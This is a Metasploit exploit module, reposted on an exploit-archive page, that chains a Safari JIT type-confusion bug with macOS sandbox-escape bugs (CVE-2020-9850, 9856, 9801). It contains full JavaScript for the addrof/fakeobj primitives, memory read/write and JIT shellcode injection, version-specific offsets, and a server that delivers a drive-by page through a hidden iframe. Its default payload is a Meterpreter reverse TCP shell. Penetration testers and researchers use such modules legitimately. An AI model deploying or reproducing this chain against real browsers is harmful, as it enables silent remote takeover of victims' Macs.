Safari Type Confusion / Sandbox Escape

2020.10.01
Credit: timwr
Risk: High
Local: Yes
Remote: No
CWE: N/A

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking include Msf::Post::File include Msf::Exploit::Remote::HttpServer def initialize(info = {}) super( update_info( info, 'Name' => 'Safari in Operator Side Effect Exploit', 'Description' => %q{ This module exploits an incorrect side-effect modeling of the 'in' operator. The DFG compiler assumes that the 'in' operator is side-effect free, however the <embed> element with the PDF plugin provides a callback that can trigger side-effects leading to type confusion (CVE-2020-9850). The type confusion can be used as addrof and fakeobj primitives that then lead to arbitrary read/write of memory. These primitives allow us to write shellcode into a JIT region (RWX memory) containing the next stage of the exploit. The next stage uses CVE-2020-9856 to exploit a heap overflow in CVM Server, and extracts a macOS application containing our payload into /var/db/CVMS. The payload can then be opened with CVE-2020-9801, executing the payload as a user but without sandbox restrictions. }, 'License' => MSF_LICENSE, 'Author' => [ 'Yonghwi Jin <jinmoteam[at]gmail.com>', # pwn2own2020 'Jungwon Lim <setuid0[at]protonmail.com>', # pwn2own2020 'Insu Yun <insu[at]gatech.edu>', # pwn2own2020 'Taesoo Kim <taesoo[at]gatech.edu>', # pwn2own2020 'timwr' # metasploit integration ], 'References' => [ ['CVE', '2020-9801'], ['CVE', '2020-9850'], ['CVE', '2020-9856'], ['URL', 'https://github.com/sslab-gatech/pwn2own2020'], ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'WfsDelay' => 300, 'PAYLOAD' => 'osx/x64/meterpreter/reverse_tcp' }, 'Targets' => [ [ 'Mac OS X x64 (Native Payload)', { 'Arch' => ARCH_X64, 'Platform' => [ 'osx' ] } ], [ 'Python payload', { 'Arch' => ARCH_PYTHON, 'Platform' => [ 'python' ] } ], [ 'Command payload', { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] } ], ], 'DisclosureDate' => 'Mar 18 2020' ) ) register_advanced_options([ OptBool.new('DEBUG_EXPLOIT', [false, 'Show debug information in the exploit javascript', false]), ]) end def exploit_js <<~JS const DUMMY_MODE = 0; const ADDRESSOF_MODE = 1; const FAKEOBJ_MODE = 2; function pwn() { let otherWindow = document.getElementById('frame').contentWindow; let innerDiv = otherWindow.document.querySelector('div'); if (!innerDiv) { print("Failed to get innerDiv"); return; } let embed = otherWindow.document.querySelector('embed'); otherWindow.document.body.removeChild(embed); otherWindow.document.body.removeChild(otherWindow.annotationContainer); const origFakeObjArr = [1.1, 1.1]; const origAddrOfArr = [2.2, 2.2]; let fakeObjArr = Array.from(origFakeObjArr); let addressOfArr = Array.from(origAddrOfArr); let addressOfTarget = {}; let sideEffectMode = DUMMY_MODE; otherWindow.document.body.addEventListener('DOMSubtreeModified', () => { if (sideEffectMode == DUMMY_MODE) return; else if (sideEffectMode == FAKEOBJ_MODE) fakeObjArr[0] = {}; else if (sideEffectMode == ADDRESSOF_MODE) addressOfArr[0] = addressOfTarget; }); print('Callback is registered'); otherWindow.document.body.appendChild(embed); let triggerArr; function optFakeObj(triggerArr, arr, addr) { arr[1] = 5.5; let tmp = 0 in triggerArr; arr[0] = addr; return tmp; } function optAddrOf(triggerArr, arr) { arr[1] = 6.6; let tmp = 0 in triggerArr; return [arr[0], tmp]; } function prepare() { triggerArr = [7.7, 8.8]; triggerArr.__proto__ = embed; sideEffectMode = DUMMY_MODE; for (var i = 0; i < 1e5; i++) { optFakeObj(triggerArr, fakeObjArr, 9.9); optAddrOf(triggerArr, addressOfArr); } delete triggerArr[0]; } function cleanup() { otherWindow.document.body.removeChild(embed); otherWindow.document.body.appendChild(embed); if (sideEffectMode == FAKEOBJ_MODE) fakeObjArr = Array.from(origFakeObjArr); else if (sideEffectMode == ADDRESSOF_MODE) addressOfArr = Array.from(origAddrOfArr); sideEffectMode = DUMMY_MODE; } function addressOf(obj) { addressOfTarget = obj; sideEffectMode = ADDRESSOF_MODE; let ret = optAddrOf(triggerArr, addressOfArr)[0]; cleanup(); return Int64.fromDouble(ret); } function fakeObj(addr) { sideEffectMode = FAKEOBJ_MODE; optFakeObj(triggerArr, fakeObjArr, addr.asDouble()); let ret = fakeObjArr[0]; cleanup(); return ret; } prepare(); print("Prepare is done"); let hostObj = { _: 1.1, length: (new Int64('0x4141414141414141')).asDouble(), id: new Int64([ 0, 0, 0, 0, // m_structureID 0x17, // m_indexingType 0x19, // m_type 0x08, // m_flags 0x1 // m_cellState ]).asJSValue(), butterfly: 0, o:1, executable:{ a:1, b:2, c:3, d:4, e:5, f:6, g:7, h:8, i:9, // Padding (offset: 0x58) unlinkedExecutable:{ isBuiltinFunction: 1 << 31, b:0, c:0, d:0, e:0, f:0, g:0, // Padding (offset: 0x48) identifier: null } }, strlen_or_id: (new Int64('0x10')).asDouble(), target: null } // Structure ID leak of hostObj.target hostObj.target=hostObj var hostObjRawAddr = addressOf(hostObj); var hostObjBufferAddr = Add(hostObjRawAddr, 0x20) var fakeHostObj = fakeObj(hostObjBufferAddr); var fakeIdentifier = fakeObj(Add(hostObjRawAddr, 0x40)); hostObj.executable.unlinkedExecutable.identifier=fakeIdentifier let rawStructureId=Function.prototype.toString.apply(fakeHostObj) let leakStructureId=Add(new Int64( rawStructureId[9].charCodeAt(0)+rawStructureId[10].charCodeAt(0)*0x10000 ), new Int64([ 0, 0, 0, 0, // m_structureID 0x07, // m_indexingType 0x22, // m_type 0x06, // m_flags 0x1 // m_cellState ])) print('Leaked structure ID: ' + leakStructureId); hostObj.strlen_or_id = hostObj.id = leakStructureId.asDouble(); hostObj.butterfly = fakeHostObj; addressOf = function(obj) { hostObj.o = obj; return Int64.fromDouble(fakeHostObj[2]); } fakeObj = function(addr) { fakeHostObj[2] = addr.asDouble(); return hostObj.o; } print('Got reliable addressOf/fakeObj'); let rwObj = { _: 1.1, length: (new Int64('0x4141414141414141')).asDouble(), id: leakStructureId.asDouble(), butterfly: 1.1, __: 1.1, innerLength: (new Int64('0x4141414141414141')).asDouble(), innerId: leakStructureId.asDouble(), innerButterfly: 1.1, } var rwObjBufferAddr = Add(addressOf(rwObj), 0x20); var fakeRwObj = fakeObj(rwObjBufferAddr); rwObj.butterfly = fakeRwObj; var fakeInnerObj = fakeObj(Add(rwObjBufferAddr, 0x20)); rwObj.innerButterfly = fakeInnerObj; function read64(addr) { // We use butterfly and it depends on its size in -1 index // Thus, we keep searching non-zero value to read value for (var i = 0; i < 0x1000; i++) { fakeRwObj[5] = Sub(addr, -8 * i).asDouble(); let value = fakeInnerObj[i]; if (value) { return Int64.fromDouble(value); } } throw 'Failed to read: ' + addr; } function write64(addr, value) { fakeRwObj[5] = addr.asDouble(); fakeInnerObj[0] = value.asDouble(); } function makeJITCompiledFunction() { var obj = {}; // Some code to avoid inlining... function target(num) { num ^= Math.random() * 10000; num ^= 0x70000001; num ^= Math.random() * 10000; num ^= 0x70000002; num ^= Math.random() * 10000; num ^= 0x70000003; num ^= Math.random() * 10000; num ^= 0x70000004; num ^= Math.random() * 10000; num ^= 0x70000005; num ^= Math.random() * 10000; num ^= 0x70000006; num ^= Math.random() * 10000; num ^= 0x70000007; num ^= Math.random() * 10000; num ^= 0x70000008; num ^= Math.random() * 10000; num ^= 0x70000009; num ^= Math.random() * 10000; num ^= 0x7000000a; num ^= Math.random() * 10000; num ^= 0x7000000b; num ^= Math.random() * 10000; num ^= 0x7000000c; num ^= Math.random() * 10000; num ^= 0x7000000d; num ^= Math.random() * 10000; num ^= 0x7000000e; num ^= Math.random() * 10000; num ^= 0x7000000f; num ^= Math.random() * 10000; num ^= 0x70000010; num ^= Math.random() * 10000; num ^= 0x70000011; num ^= Math.random() * 10000; num ^= 0x70000012; num ^= Math.random() * 10000; num ^= 0x70000013; num ^= Math.random() * 10000; num ^= 0x70000014; num ^= Math.random() * 10000; num ^= 0x70000015; num ^= Math.random() * 10000; num ^= 0x70000016; num ^= Math.random() * 10000; num ^= 0x70000017; num ^= Math.random() * 10000; num ^= 0x70000018; num ^= Math.random() * 10000; num ^= 0x70000019; num ^= Math.random() * 10000; num ^= 0x7000001a; num ^= Math.random() * 10000; num ^= 0x7000001b; num ^= Math.random() * 10000; num ^= 0x7000001c; num ^= Math.random() * 10000; num ^= 0x7000001d; num ^= Math.random() * 10000; num ^= 0x7000001e; num ^= Math.random() * 10000; num ^= 0x7000001f; num ^= Math.random() * 10000; num ^= 0x70000020; num ^= Math.random() * 10000; num &= 0xffff; return num; } // Force JIT compilation. for (var i = 0; i < 1000; i++) { target(i); } for (var i = 0; i < 1000; i++) { target(i); } for (var i = 0; i < 1000; i++) { target(i); } return target; } function getJITCodeAddr(func) { var funcAddr = addressOf(func); print("Target function @ " + funcAddr.toString()); var executableAddr = read64(Add(funcAddr, 3 * 8)); print("Executable instance @ " + executableAddr.toString()); var jitCodeAddr = read64(Add(executableAddr, 3 * 8)); print("JITCode instance @ " + jitCodeAddr.toString()); if (And(jitCodeAddr, new Int64('0xFFFF800000000000')).toString() != '0x0000000000000000' || And(Sub(jitCodeAddr, new Int64('0x100000000')), new Int64('0x8000000000000000')).toString() != '0x0000000000000000') { jitCodeAddr = Add(ShiftLeft(read64(Add(executableAddr, 3 * 8 + 1)), 1), 0x100); print("approx. JITCode instance @ " + jitCodeAddr.toString()); } return jitCodeAddr; } function setJITCodeAddr(func, addr) { var funcAddr = addressOf(func); print("Target function @ " + funcAddr.toString()); var executableAddr = read64(Add(funcAddr, 3 * 8)); print("Executable instance @ " + executableAddr.toString()); write64(Add(executableAddr, 3 * 8), addr); } function getJITFunction() { var shellcodeFunc = makeJITCompiledFunction(); shellcodeFunc(); var jitCodeAddr = getJITCodeAddr(shellcodeFunc); return [shellcodeFunc, jitCodeAddr]; } var [_JITFunc, rwxMemAddr] = getJITFunction(); for (var i = 0; i < stage0.length; i++) write64(Add(rwxMemAddr, i), new Int64(stage0[i])); setJITCodeAddr(alert, rwxMemAddr); var argv = { a0: stage1Arr, a1: stage2Arr, doc: document, a2: 0x41414141, a3: 0x42424242, a4: 0x43434343, }; alert(argv); } var ready = new Promise(function(resolve) { if (typeof(window) === 'undefined') resolve(); else window.onload = function() { resolve(); } }); ready.then(function() { try { pwn() } catch (e) { print("Exception caught: " + e); location.reload(); } }).catch(function(err) { print("Initializatin failed"); }); JS end def offset_table { 'placeholder' => { jsc_confstr_stub: 0x0FF5370041414141, jsc_llint_entry_call: 0x0FF5370041414142, libsystem_c_confstr: 0x0FF5370041414143, libsystem_c_dlopen: 0x0FF5370041414144, libsystem_c_dlsym: 0x0FF5370041414145 }, '10.15.3' => { jsc_confstr_stub: 0xE7D8B4, jsc_llint_entry_call: 0x361f13, libsystem_c_confstr: 0x2644, libsystem_c_dlopen: 0x80430, libsystem_c_dlsym: 0x80436 }, '10.15.4' => { jsc_confstr_stub: 0xF96446, jsc_llint_entry_call: 0x380a1d, libsystem_c_confstr: 0x2be4, libsystem_c_dlopen: 0x8021e, libsystem_c_dlsym: 0x80224 } } end def get_offsets(user_agent) if user_agent =~ /Intel Mac OS X (.*?)\)/ osx_version = Regexp.last_match(1).gsub('_', '.') if user_agent =~ %r{Version/(.*?) } if Gem::Version.new(Regexp.last_match(1)) > Gem::Version.new('13.1') print_warning "Safari version #{Regexp.last_match(1)} is not vulnerable" return false else print_good "Safari version #{Regexp.last_match(1)} appears to be vulnerable" end end mac_osx_version = Gem::Version.new(osx_version) if mac_osx_version >= Gem::Version.new('10.15.5') print_warning "macOS version #{mac_osx_version} is not vulnerable" elsif mac_osx_version < Gem::Version.new('10.14') print_warning "macOS version #{mac_osx_version} is not supported" elsif offset_table.key?(osx_version) return offset_table[osx_version] else print_warning "No offsets for version #{mac_osx_version}" end else print_warning 'Unexpected User-Agent' end return false end def on_request_uri(cli, request) if datastore['DEBUG_EXPLOIT'] && request.uri =~ %r{/print$*} print_status("[*] #{request.body}") send_response(cli, '') return end user_agent = request['User-Agent'] print_status("Request #{request.uri} from #{user_agent}") if request.uri.ends_with? '.pdf' send_response(cli, '', { 'Content-Type' => 'application/pdf' }) return end offsets = get_offsets(user_agent) unless offsets send_not_found(cli) return end utils = exploit_data 'javascript_utils', 'utils.js' int64 = exploit_data 'javascript_utils', 'int64.js' stage0 = exploit_data 'CVE-2020-9850', 'stage0.bin' stage1 = exploit_data 'CVE-2020-9850', 'loader.bin' stage2 = exploit_data 'CVE-2020-9850', 'sbx.bin' offset_table['placeholder'].each do |k, v| placeholder_index = stage1.index([v].pack('Q')) stage1[placeholder_index, 8] = [offsets[k]].pack('Q') end case target['Arch'] when ARCH_X64 root_payload = payload.encoded when ARCH_PYTHON root_payload = "CMD:echo \"#{payload.encoded}\" | python" when ARCH_CMD root_payload = "CMD:#{payload.encoded}" end if root_payload.length > 1024 fail_with Failure::PayloadFailed, "Payload size (#{root_payload.length}) exceeds space in payload placeholder" end placeholder_index = stage2.index('ROOT_PAYLOAD_PLACEHOLDER') stage2[placeholder_index, root_payload.length] = root_payload payload_js = <<~JS const stage0 = [ #{Rex::Text.to_num(stage0)} ]; var stage1Arr = new Uint8Array([#{Rex::Text.to_num(stage1)}]); var stage2Arr = new Uint8Array([#{Rex::Text.to_num(stage2)}]); JS jscript = <<~JS #{utils} #{int64} #{payload_js} #{exploit_js} JS if datastore['DEBUG_EXPLOIT'] debugjs = %^ print = function(arg) { var request = new XMLHttpRequest(); request.open("POST", "/print", false); request.send("" + arg); }; ^ jscript = "#{debugjs}#{jscript}" else jscript.gsub!(%r{//.*$}, '') # strip comments jscript.gsub!(/^\s*print\s*\(.*?\);\s*$/, '') # strip print(*); end pdfpath = datastore['URIPATH'] || get_resource pdfpath += '/' unless pdfpath.end_with? '/' pdfpath += Rex::Text.rand_text_alpha(4..8) + '.pdf' html = <<~HTML <html> <head> <style> body { margin: 0; } iframe { display: none; } </style> </head> <body> <iframe id=frame width=10% height=10% src="#{pdfpath}"></iframe> <script> #{jscript} </script> </body> </html> HTML send_response(cli, html, { 'Content-Type' => 'text/html', 'Cache-Control' => 'no-cache, no-store, must-revalidate', 'Pragma' => 'no-cache', 'Expires' => '0' }) end end


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top